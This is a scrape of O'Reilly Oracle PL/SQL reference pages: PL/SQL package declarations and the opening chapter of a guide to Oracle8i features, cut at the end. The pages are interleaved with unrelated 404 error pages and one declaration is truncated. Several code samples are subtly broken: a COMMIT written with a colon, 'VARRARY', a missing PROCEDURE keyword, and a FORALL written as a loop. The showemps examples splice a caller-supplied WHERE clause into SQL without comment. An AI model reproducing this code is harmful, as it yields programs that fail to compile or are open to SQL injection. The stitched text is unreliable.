rowid_convert_external CONSTANT INTEGER := 1;
rowid_convert_internal CONSTANT INTEGER := 0;
rowid_is_invalid       CONSTANT INTEGER := 1;
rowid_is_valid         CONSTANT INTEGER := 0;
rowid_object_undefined CONSTANT INTEGER := 0;
rowid_type_extended    CONSTANT INTEGER := 1;
rowid_type_restricted  CONSTANT INTEGER := 0;

1.6.11 DBMS_SQL

inconsistent_type EXCEPTION;
PRAGMA EXCEPTION_INIT(inconsistent_type, -6562);

v6     CONSTANT INTEGER := 0;
native CONSTANT INTEGER := 1;
v7     CONSTANT INTEGER := 2;

TYPE varchar2s IS TABLE OF VARCHAR2(256)
  INDEX BY BINARY_INTEGER;

TYPE desc_rec IS RECORD
   (col_type BINARY_INTEGER := 0
   ,col_max_len BINARY_INTEGER := 0
   ,col_name varchar2(32) := ''
   ,col_name_len BINARY_INTEGER := 0
   ,col_schema_name VARCHAR2(32) := ''
   ,col_schema_name_len BINARY_INTEGER := 0
   ,col_precision BINARY_INTEGER := 0
   ,col_scale BINARY_INTEGER := 0
   ,col_charsetid BINARY_INTEGER := 0
   ,col_charsetform BINARY_INTEGER := 0
   ,col_null_ok BOOLEAN := TRUE);

TYPE desc_tab IS TABLE OF desc_rec
  INDEX BY BINARY_INTEGER;

TYPE number_table IS TABLE OF NUMBER
  INDEX BY BINARY_INTEGER;

TYPE varchar2_table IS TABLE OF VARCHAR2(2000)
  INDEX BY BINARY_INTEGER;

TYPE date_table IS TABLE OF DATE
  INDEX BY BINARY_INTEGER;

TYPE blob_table IS TABLE OF BLOB
  INDEX BY BINARY_INTEGER;

TYPE clob_table IS TABLE OF CLOB
  INDEX BY BINARY_INTEGER;

TYPE bfile_table IS TABLE OF BFILE
  INDEX BY BINARY_INTEGER;

1.6.12 DBMS_TRANSACTION

discrete_transaction_failed EXCEPTION;
    -8175);

consistent_read_failure EXCEPTION;
PRAGMA EXCEPTION_INIT(consistent_read_failure, -8176);

1.6.13 DBMS_UTILITY

TYPE uncl_array IS TABLE OF VARCHAR2(227)
  INDEX BY BINARY_INTEGER;

TYPE name_array IS TABLE OF VARCHAR2(30)
  INDEX BY BINARY_INTEGER;

TYPE dblink_array IS TABLE OF VARCHAR2(128)
  INDEX BY BINARY_INTEGER;

TYPE index_table_type IS TABLE OF BINARY_INTEGER
  INDEX BY BINARY_INTEGER;

TYPE number_array IS TABLE OF NUMBER
  INDEX BY BINARY_INTEGER;

1.6.14 UTL_FILE

internal_error EXCEPTION;
invalid_filehandle EXCEPTION;
invalid_mode EXCEPTION;
invalid_operation EXCEPTION;
invalid_path EXCEPTION;
read_error EXCEPTION;
write_error EXCEPTION;

TYPE file_type IS RECORD (id BINARY_INTEGER);

1.6.15 STANDARD

Following are the nonprogram elements for the STANDARD package.

1.6.15.1 Exceptions

dup_val_on_index EXCEPTION;
PRAGMA EXCEPTION_INIT(dup_val_on_index, '-0001');

timeout_on_resource EXCEPTION;
PRAGMA EXCEPTION_INIT(timeout_on_resource, '-0051');

invalid_cursor EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_cursor, '-1001');

not_logged_on EXCEPTION;
PRAGMA EXCEPTION_INIT(not_logged_on, '-1012');

login_denied EXCEPTION;
PRAGMA EXCEPTION_INIT(login_denied, '-1017');

too_many_rows EXCEPTION;
PRAGMA EXCEPTION_INIT(too_many_rows, '-1422');

zero_divide EXCEPTION;
PRAGMA EXCEPTION_INIT(zero_divide, '-1476');

invalid_number EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_number, '-1722');

storage_error EXCEPTION;
PRAGMA EXCEPTION_INIT(storage_error, '-6500');

program_error EXCEPTION;
PRAGMA EXCEPTION_INIT(program_error, '-6501');

value_error EXCEPTION;
PRAGMA EXCEPTION_INIT(value_error, '-6502');

rowtype_mismatch EXCEPTION;
PRAGMA EXCEPTION_INIT(rowtype_mismatch, '-6504');

cursor_already_open EXCEPTION;
PRAGMA EXCEPTION_INIT(cursor_already_open, '-6511');

access_into_null EXCEPTION;
PRAGMA EXCEPTION_INIT(access_into_null, '-6530');

collection_is_null EXCEPTION;
PRAGMA EXCEPTION_INIT(collection_is_null , '-6531');

subscript_outside_limit EXCEPTION;
PRAGMA EXCEPTION_INIT(subscript_outside_limit,'-6532');

subscript_beyond_count EXCEPTION;
PRAGMA EXCEPTION_INIT(subscript_beyond_count ,'-6533');

no_data_found EXCEPTION;
PRAGMA EXCEPTION_INIT(no_data_found, 100);

1.6.15.2 Numeric datatypes

TYPE NUMBER IS NUMBER_BASE;
SUBTYPE BINARY_INTEGER IS INTEGER RANGE '-
    2147483647'..2147483647;
SUBTYPE CURSOR_HANDLE IS BINARY_INTEGER RANGE 0..255;
SUBTYPE DEC IS DECIMAL;
SUBTYPE DECIMAL IS NUMBER(38,0);
SUBTYPE "DOUBLE PRECISION" IS FLOAT;
SUBTYPE FLOAT IS NUMBER; -- NUMBER(126)
SUBTYPE INT IS INTEGER;
SUBTYPE INTEGER IS NUMBER(38,0);
SUBTYPE NATURAL IS BINARY_INTEGER RANGE 0..2147483647;
SUBTYPE NATURALN IS NATURAL NOT NULL;
SUBTYPE NUMERIC IS DECIMAL;
SUBTYPE PLS_INTEGER IS BINARY_INTEGER;
SUBTYPE POSITIVE IS BINARY_INTEGER RANGE
    1..2147483647;
SUBTYPE POSITIVEN IS POSITIVE NOT NULL;
SUBTYPE REAL IS FLOAT; -- FLOAT(63)
SUBTYPE SIGNTYPE IS BINARY_INTEGER RANGE '-1'..1;  --
    for SIGN functions
SUBTYPE SMALLINT IS NUMBER(38,0);

1.6.15.3 Character datatypes

TYPE VARCHAR2 IS NEW CHAR_BASE;
SUBTYPE CHAR IS VARCHAR2;
SUBTYPE CHARACTER IS CHAR;
SUBTYPE "CHAR VARYING" IS VARCHAR;
SUBTYPE "CHARACTER VARYING" IS VARCHAR;
SUBTYPE LONG IS VARCHAR2(32760);
SUBTYPE "LONG RAW" IS RAW(32760);
SUBTYPE RAW IS VARCHAR2;
SUBTYPE ROWID IS VARCHAR2(256);
SUBTYPE STRING IS VARCHAR2;
SUBTYPE VARCHAR IS VARCHAR2;
SUBTYPE "NCHAR" IS CHAR CHARACTER SET NCHAR_CS;
SUBTYPE "NCHAR VARYING" IS VARCHAR CHARACTER SET
    NCHAR_CS;
SUBTYPE "NCLOB" IS CLOB CHARACTER SET NCHAR_CS;
SUBTYPE "NVARCHAR2" IS VARCHAR2 CHARACTER SET NCHAR_CS;
SUBTYPE "NATIONAL CHAR VARYING" IS
    VARCHAR CHARACTER SET NCHAR_CS;
SUBTYPE "NATIONAL CHAR" IS CHAR CHARACTER SET NCHAR_CS;
SUBTYPE "NATIONAL CHARACTER LARGE OBJECT" IS
    CLOB CHARACTER SET NCHAR_CS;
SUBTYPE "NATIONAL CHARACTER VARYING" IS
    VARCHAR CHARACTER SET NCHAR_CS;
SUBTYPE "NATIONAL CHARACTER" IS
    CHAR CHARACTER SET NCHAR_CS;
SUBTYPE "NCHAR LARGE OBJECT" IS
    CLOB CHARACTER SET NCHAR_CS;

1.6.15.4 LOB datatypes

TYPE BFILE IS BFILE_BASE;
TYPE BLOB IS BLOB_BASE;
TYPE CLOB IS CLOB_BASE;
SUBTYPE "BINARY LARGE OBJECT" IS BLOB;
SUBTYPE "CHAR LARGE OBJECT" IS CLOB;
SUBTYPE "CHARACTER LARGE OBJECT" IS CLOB;

1.6.15.5 Other datatypes

TYPE BOOLEAN IS (FALSE, TRUE);
TYPE DATE IS DATE_BASE;
TYPE MLSLABEL IS NEW CHAR_BASE;

Previous: 1.5 RESTRICT REFERENCES Pragmas | Oracle PL/SQL Built-ins Pocket Reference
1.5 RESTRICT REFERENCES Pragmas |
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/copyrght.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Oracle PL/SQL Built-ins Pocket Reference

By Steven Feuerstein, John Beresniewicz & Chip Dawes; ISBN 1-56592-456-8E
First Edition, published 1998-10-01.
(See the catalog page for this book.)

Search the text of Oracle PL/SQL Built-ins Pocket Reference.

Table of Contents

Chapter 1: Oracle PL/SQL Built-ins Pocket Reference

1.1: Introduction
1.2: Conventions
1.3: Built-in Packages
1.4: Built-in Functions
1.5: RESTRICT REFERENCES Pragmas
1.6: Nonprogram Elements

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/advprog/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/bipack/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/bipkt/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/guide8i/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Oracle PL/SQL Built-ins Pocket Reference Search Page

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation

The Oracle PL/SQL CD Bookshelf, Version 1.0, is © copyright 2000 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com. Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/langpkt/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/prog2/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/bipkt/webapp/index.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Appendix A] Appendix: What's on the Companion Disk?

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 10.5 Miscellaneous and Minor Improvements Appendix A Next: A.2 Using the Reference

A. Appendix: What's on the Companion Disk?

Contents:
Installing the Reference
Using the Reference

The content of the companion Windows disk that accompanies this book has been included on this CD, in the /guide8i/disk/ directory. It contains the Companion Reference, an online tool designed by RevealNet, Inc. to help you find additional resources. The guide offers point-and-click access to approximately 100 files of source code I've prepared to accompany this book, as well as a copy of the PLVtmr package (described in the Preface). The goal of providing this material in electronic form is to give you a leg up on the development of your own PL/SQL programs for Oracle8i.

A.1 Installing the Reference

Before you begin installation, be sure to read the readme file on the disk. This file will tell you how to obtain a DLL that you need for installation.

In a Microsoft Windows environment, you begin installation by double-clicking on the Revealnet_08i_Guide_Setup.exe file to run the installation program. If you are working in a non-Windows environment, please visit the RevealNet PL/SQL Pipeline Archives (http://www.revealnet.com/plsql-pipeline) to obtain a compressed file containing the examples on this disk.

The installation script will lead you through the necessary steps. The first screen you will see is the install screen, shown in Figure A.1.

Figure A.1: Installing the Companion Guide

You can change the default directory in which the files will be placed. Once this step is complete and the software has been copied to your drive, an icon will appear in the folder you specified. Double-click on the icon to start using the Companion Reference. You will then see the main menu, shown in Figure A.2.

Figure A.2: The main menu

Previous: 10.5 Miscellaneous and Minor Improvements | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: A.2 Using the Reference
10.5 Miscellaneous and Minor Improvements | Book Index | A.2 Using the Reference
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.2 Using the Reference

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

A.2 Using the Reference

The four buttons on the main menu take you to the companion information for this book:

About the Companion Reference

A brief description of the contents of this disk.

About the Indexes

An explanation of the information provided for each file: name, chapter reference, and description.

Source Code Index by File Name

The guide gives you point-and-click access to each of the files on the companion disk. Here the files are listed alphabetically. Source code listings in the book, indicated by the disk icon, begin with comment lines keyed to these filenames on the disk. Figure A.3 shows a portion of the Source Code Index by Filename.

Figure A.3: The Source Code Index by File Name

Source Code Index by Chapter

Here the files are listed in chapter order to make it easy for you to move between the book and the guide. Figure A.4 shows a portion of the Source Code Index by Chapter.

Figure A.4: The Source Code Index by Chapter

Previous: A.1 Installing the Reference | Oracle PL/SQL Programming Guide to Oracle 8i Features
A.1 Installing the Reference | Book Index
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Oracle8i: A Bounty for PL/SQL Developers

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 And Then There's Java

1. Oracle8i: A Bounty for PL/SQL Developers

Contents:
What's in Oracle8i Release 8.1?
And Then There's Java
New PL/SQL Features Roundup

After long delays, Oracle8i Release 8.1 went into production in 1999. Oracle8i, the "Internet database," is packed with an astounding and intimidating array of powerful new features -- and I don't even work for Oracle any more! Hey, I don't have to use exclamation marks to describe all the great things you can do with Oracle8i Release 8.1!

Whew. Got that out of my system. Do you ever have trouble separating the marketing from the reality with Oracle Corporation? The name of their latest release brings that issue to the fore like never before. "Oracle8i Release 8.1" -- what does all that mean? Here is how I see it: "Oracle8i " -- that's the marketing piece touting the first database for the Internet. "Release 8.1" -- now they're talking my language, the actual database version. I started with Oracle 5.1 and have been steadily pleased with the improvements through Oracle6 (quickly, please) and then Oracle7. Oracle 8.0 was a .0 release and, as a result, many, many organizations around the world paid very little attention to it. Now, finally, we have Oracle 8.1 and I expect that many organizations will move relatively quickly to this release level.

1.1 What's in Oracle8i Release 8.1?

What do you get with Oracle 8.1? The list is very long and very impressive ("more than 150 new features," says Oracle). Here are some of the features I have heard about:

  • The Aurora Java(TM) Virtual Machine ( JVM) right inside the database

  • Support for Java stored procedures ( JSPs)

  • i FS, the Internet File System (not currently available at the time of publication)

  • Support for the Linux operating system

  • inter Media

  • Support for SQLJ and JDBC(TM) ( Java Database Connectivity)

  • WebDB

  • Autonomous transactions

  • Invoker rights model

  • Many performance improvements

TIP: Throughout this book, Oracle 8.1 refers to Oracle8i Release 8.1, and PL/SQL 8.1 refers to the Oracle8i

The Oracle8i documentation has a section titled "Getting to Know Oracle8i"; the table of contents for new features is 259 lines long! Is that more than mere mortals can deal with? It sure is more than I can deal with. So I am going to stick with what I know best: PL/SQL. This book focuses almost exclusively on new Oracle8i features that have a direct impact on (or are implemented by) the PL/SQL language. As you will see, even if the focus is constrained to PL/SQL, there are many, many new techniques and technologies to learn, absorb, and then leverage in application environments.

Previous: Acknowledgments | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 1.2 And Then There's Java
Acknowledgments | Book Index | 1.2 And Then There's Java
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 And Then There's Java

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

1.2 And Then There's Java

Before I dive into my feature roundups, allow me to reflect for a moment on the PL/SQL language and its future in the Oracle environment. Why would I feel the need to do this? I can answer with one word -- Java.

Contrary to popular belief, I do not hate or fear Java. I hold no animosity for a language that has at least the potential to unseat PL/SQL as the dominant (used to be only) programming language inside the Oracle database. I have begun to study Java and have found that it's very different from PL/SQL and much more powerful.

There is no doubt that we will all need to be proficient enough with both languages to be able to:

  • Decide which language is best used to solve a particular problem

  • Call Java stored procedures from PL/SQL, and vice versa

So yes, Oracle supports interoperability between these two languages, and we need to be ambidextrous when it comes to "left brain" PL/SQL and "right brain" Java.

The big question or rumor that has floated around the Oracle world lately, though, is a more troubling one: will Oracle simply abandon PL/SQL for Java? Not only would that put me out of business, it would also cause tremendous upheaval in the Oracle customer world. It is simply not going to happen, and the best way to demonstrate that fact is to see the forward motion in the PL/SQL language.

When object technology was first introduced in the Oracle database and in PL/SQL (in Oracle 8.0), a debate raged within Oracle headquarters: should PL/SQL become a full-fledged object-oriented language? Should it remain focused on what it does best? Now with the incorporation of Java into the Oracle database, this debate has been resolved. PL/SQL is the premier database programming language (specific to Oracle but superior to the others, such as Informix's 4GL and Sybase/Microsoft's Transact-SQL), as demonstrated by the adoption of many PL/SQL features and syntax into the ANSI standards. Oracle will focus its energies on maintaining that position.

What we see in Oracle 8.1 and what we will continue to see in future releases is a permanent revolution in the PL/SQL language, with the goals of making it ever easier to use, more efficient, and more functional. Hey, they are even exploring the possibility of compiling PL/SQL programs! Now that would be a turbo-charged PL/SQL. Of course, the proof is in the programming. What have they done for us lately? What can we do with PL/SQL in 8.1 that we couldn't do before? Join me on a journey into the depths of Oracle8i Release 8.1 to answer these questions.

Previous: 1.1 What's in Oracle8i Release 8.1? | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 1.3 New PL/SQL Features Roundup
1.1 What's in Oracle8i Release 8.1? | Book Index | 1.3 New PL/SQL Features Roundup
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 New PL/SQL Features Roundup

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

1.3 New PL/SQL Features Roundup

Even if I stick to the narrow course of exploring only those PL/SQL-related new features of Oracle8i, I can still find lots to talk about. This section previews the chapters of the book and introduces you to the main PL/SQL enhancements in this release of Oracle.

1.3.1 Autonomous Transactions (Chapter 2, Choose Your Transaction!)

One long-standing request from PL/SQL developers has been to have the ability to execute and then save or cancel certain Data Manipulation Language (DML) statements (INSERT, UPDATE, DELETE) without affecting the overall session's transaction. You can now do this with autonomous transactions.

Where would you find autonomous transactions useful in your applications? Here are some ideas:

Logging mechanism

This is the classic example of the need for an autonomous transaction. You need to log error information in a database table, but don't want that log entry to be a part of the logical transaction.

Commits or rollbacks in your database triggers

Finally! If you define a trigger as an autonomous transaction, then you can commit and/or roll back in that code.

Retry counter

Autonomous transactions can help you keep track of how many times a user tries to connect to a database or get access to a resource (you'll reject access after a certain number of attempts).

Software usage meter

A similar type of situation is when you want to track how often a program is called during an application session. In fact, autonomous transactions are helpful in meeting any application requirement that calls for persistently storing a state (how many times did Joe try to update the salary column?).

Reusable application components

You are building an Internet application. You want to combine components from many different vendors and layers. They need to interact in certain well-defined ways. If when one component commits, it affects all other aspects of your application, it will not function well in this environment.

When you define a PL/SQL block (anonymous block, procedure, function, packaged procedure, packaged function, database trigger) as an autonomous transaction, you isolate the DML in that block from the rest of your session. That block becomes an independent transaction that is started by another transaction, referred to as the main transaction. Within the autonomous transaction block, the main transaction is suspended. You perform your SQL operations, commit or roll back those operations, and then resume the main transaction.

There isn't much involved in defining a PL/SQL block as an autonomous transaction. You simply include the following statement in your declaration section:

PRAGMA AUTONOMOUS_TRANSACTION;

Here is a very simple logging mechanism relying on the autonomous transaction feature to save changes to the log without affecting the rest of the session's transaction:

PROCEDURE write_log (
   code IN INTEGER, text IN VARCHAR2)
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   INSERT INTO log VALUES (
      code, text,
      USER, SYSDATE
      );
   COMMIT:
END;

Of course, there are all sorts of rules and some restrictions to be aware of; see Chapter 2, for all the details.

1.3.2 Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )

Back in the "old days" of Oracle7 and Oracle 8.0, whenever you executed a stored program, it executed under the authority of the owner of that program. This was not a big deal if your entire application -- code, data, and users -- worked out of the same Oracle account. That scenario probably fit about 0.5% of all Oracle shops. It proved to be a real pain in the neck for the other 99.5%, though, because usually code was stored in one schema and then shared through GRANT EXECUTE statements with other users (directly or through roles).

For one thing, that centralized, stored code would not automatically apply the privileges of a user (also known as an invoker) to the code's objects. The user might not have had DELETE privileges on a table, but the stored code did, so delete away! Now, in some circumstances, that is just how you wanted it to work. In others, particularly when you were executing programs relying on the DBMS_SQL (dynamic SQL) package, awesome complications could ensue.

In Oracle 8.1, PL/SQL has now been enhanced so that at the time of compilation, you can decide whether a program (or all programs in a package) should run under the authority of the definer (the only choice in Oracle 8.0 and below) or of the invoker of that program.

The syntax to support this feature is simple enough. Here is a generic "run DDL" engine that relies on the new native dynamic SQL statement EXECUTE IMMEDIATE:

CREATE OR REPLACE PROCEDURE runddl (ddl_in in VARCHAR2)
   AUTHID CURRENT_USER
IS
BEGIN
   EXECUTE IMMEDIATE ddl_in;
END;
/

The AUTHID CURRENT_USER clause before the IS keyword indicates that when runddl executes, it should run under the authority of the invoker, or "current user," not the authority of the definer.

1.3.3 Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i)

Ever since Oracle 7.1, we PL/SQL developers have been able to use the built-in DBMS_SQL package to execute dynamic SQL and PL/SQL. This means that at runtime you can construct the query, a DELETE or CREATE TABLE, or even a PL/SQL block, as a string -- and then execute it. Dynamic SQL comes in extremely handy when you are building ad hoc query systems, when you need to execute Data Definition Language (DDL) inside PL/SQL, and just generally when you don't know in advance exactly what you need to do or what the user will want to do. Dynamic SQL is a frequent requirement in Web-based applications.

But there are some problems with DBMS_SQL:

  • It is a very complicated package.

  • It has a number of restrictions (such as not recognizing and being able to work with new Oracle8 datatypes).

  • It is relatively slow.

So our dear friends at PL/SQL Central in Redwood Shores took pity on us all and reimplemented dynamic SQL directly in the PL/SQL language itself. This is called native dynamic SQL (NDS).

In my latest book on PL/SQL, Oracle Built-in Packages (O'Reilly & Associates, coauthored with John Beresniewicz and Charles Dye), I spent about 100 pages explaining dynamic SQL and the DBMS_SQL package. While NDS makes it much easier to get your dynamic job done, there is still a whole lot to say on this subject. Let's just compare a DBMS_SQL and NDS implementation of a program that displays all the employees for the specified and dynamic WHERE clause.

The DBMS_SQL implementation:

CREATE OR REPLACE PROCEDURE showemps (
   where_in IN VARCHAR2 := NULL)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   rec employee%ROWTYPE;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE
     (cur,
      'SELECT employee_id, last_name
         FROM employee
        WHERE ' || NVL (where_in, '1=1'),
      DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, user, 30);
   fdbk := DBMS_SQL.EXECUTE (cur);
   LOOP
      /* Fetch next row. Exit when done. */
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, rec.employee_id);
      DBMS_SQL.COLUMN_VALUE (cur, 2, rec.last_name);
      DBMS_OUTPUT.PUT_LINE (
         TO_CHAR (rec.employee_id) || '=' ||
         rec.last_name);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

And now the NDS implementation:

CREATE OR REPLACE PROCEDURE showemps (
   where_in IN VARCHAR2 := NULL)
IS
   TYPE cv_typ IS REF CURSOR;
   cv cv_typ;
   v_id employee.employee_id%TYPE;
   v_nm employee.last_name%TYPE;
BEGIN
   OPEN cv FOR
      'SELECT employee_id, last_name
         FROM employee
        WHERE ' || NVL (where_in, '1=1');
   LOOP
      FETCH cv INTO v_id, v_nm;
      EXIT WHEN cv%NOTFOUND;
      DBMS_OUTPUT.PUT_LINE (TO_CHAR (v_id) || '=' || v_nm);
   END LOOP;
   CLOSE cv;
END;
/

I know which one I would prefer. I'll be looking at native dynamic SQL in much more detail in Chapter 4. And if you are an expert at DBMS_SQL and feel tears coming to your eyes about all that wasted intellectual property, take heart in these factoids:

  • No one has invested more time and typed words in DBMS_SQL than yours truly.

  • DBMS_SQL is not completely obsolete. There are still times when you will want to use it instead of NDS, and there are things you can do with DBMS_SQL that are not yet possible with NDS.

1.3.4 Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)

One of the major priorities of the PL/SQL development team is to speed up the performance of their language. This effort cannot come a moment too soon. We developers have been complaining about runtime performance for years, and finally the developers are responding (though, to be brutally honest, it seems to me that the intensive tuning steps taken in Oracle 8.0 were motivated at least partly by the need to make PL/SQL fast enough to support object types).

One area of improvement concerns the execution of "bulk" DML inside PL/SQL. Consider, for example, the following code that deletes each employee identified by the employee number found in the nested table list:

CREATE TYPE empnos_list_t IS VARRARY(100) OF NUMBER;
CREATE OR REPLACE del_emps (list_in IN empnos_list_t)
IS
BEGIN
   FOR listnum IN list_in.FIRST.. list_in.LAST
   LOOP
      DELETE FROM emp WHERE empno = list_in (listnum);
   END LOOP;
END;

Easy to write, easy to read. But what about performance? Whenever this program issues its DELETE, a context switch takes place from PL/SQL to SQL to execute that command. If there are 100 elements in the list, there are 100 switches, with corresponding performance degradation.

Recognizing this common requirement and its overhead, Oracle now offers a bulk bind variation on the FOR loop -- the FORALL statement. With this statement, you can recode the del_emps procedure as follows:

CREATE OR REPLACE del_emps (list_in IN empnos_list_t)
IS
BEGIN
   FORALL listnum IN list_in.FIRST.. list_in.LAST
   LOOP
      DELETE FROM emp WHERE empno = list_in (listnum);
END;

Now there will be just one context switch: all of the DELETE operations will be bundled into a single bulk operation and passed to the SQL layer together.

In addition to the FORALL bulk DML operator, Oracle 8.1 also offers the BULK COLLECT variation on the INTO clause of an implicit query. This operation allows you to retrieve multiple rows in a single context switch.

1.3.5 New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)

Oracle8i expands significantly the use of triggers to administer a database and "publish" information about events taking place within the database. By employing database triggers on the newly defined system events and using Oracle Advanced Queuing within those triggers, you can take advantage of the publish/subscribe capabilities of Oracle8i.

The database event publication feature allows applications to subscribe to database events just as they subscribe to messages from other applications. The trigger syntax is extended to support system and other data events on database or schema. Trigger syntax also supports a CALL to a procedure as the trigger body.

You can now enable the publication of (i.e., define a programmatic trigger on) the following actions:

  • DML statements (DELETE, INSERT, and UPDATE)

  • DDL events (e.g., CREATE, DROP, and ALTER)

  • Database events (SERVERERROR, LOGON, LOGOFF, STARTUP, and SHUTDOWN)

These are the new trigger features available in Oracle8i:

Triggers on nested table columns

The CAST. . .MULTISET operation allows you to trigger activity when only an attribute in a nested table column is modified.

Database-level event triggers

You can now define triggers to respond to such system events as LOGON, DATABASE SHUTDOWN, and even SERVERERROR.

Schema-level event triggers

You can now define triggers to respond to such user- or schema-level events as CREATE, DROP, and ALTER.

1.3.6 New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)

Oracle has added a number of new built-in packages in Oracle8i. Many of them are for fairly specialized purposes, such as the replication facility or online analytical processing (OLAP)/data warehouse optimization, but a number of the packages, including those listed here, will come in very handy for database administrators (DBAs) and PL/SQL developers:

DBMS_JAVA

Gives you the ability to modify the behavior of the Aurora Java Virtual Machine (JVM) in Oracle. You can enable output (meaning that System.out.println will act like DBMS_OUTPUT.PUT_LINE), set compiler and debugger options, and more.

DBMS_PROFILER

Accesses performance and code coverage analysis of your PL/SQL application.

DBMS_RLS

Offers an interface to the fine-grained access control administrative features of Oracle8i; it is only available with the Enterprise Edition.

DBMS_TRACE

Allows PL/SQL developers to trace the execution of stored PL/SQL functions, procedures, and exceptions.

UTL_COLL

Allows PL/SQL programs to use collection locators in order to perform queries and updates.

Oracle has also enhanced a number of packages, including DBMS_UTILITY, DBMS_AQ, and DBMS_LOB.

Chapter 7, introduces you to a subset of the capabilities of these packages. Comprehensive, reference-oriented coverage of these packages will be included in the second edition of Oracle Built-in Packages (O'Reilly & Associates, expected in 2000).

1.3.7 Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)

Fine-grained access control (FGAC) is a new feature in Oracle8i that allows you to implement security policies with functions and then use those security policies to implement row-level security on tables or views. The database server automatically enforces security policies, no matter how the data is accessed -- through SQL*Plus or the Internet, as an ad hoc query, or as an update processed through an Oracle Forms application.

What, you might ask, is a security policy? Consider the following very simple scenario (I'll expand upon this scenario in Chapter 8 ). Suppose that I have tables of hospital patients and their doctors defined as follows:

CREATE TABLE patient (
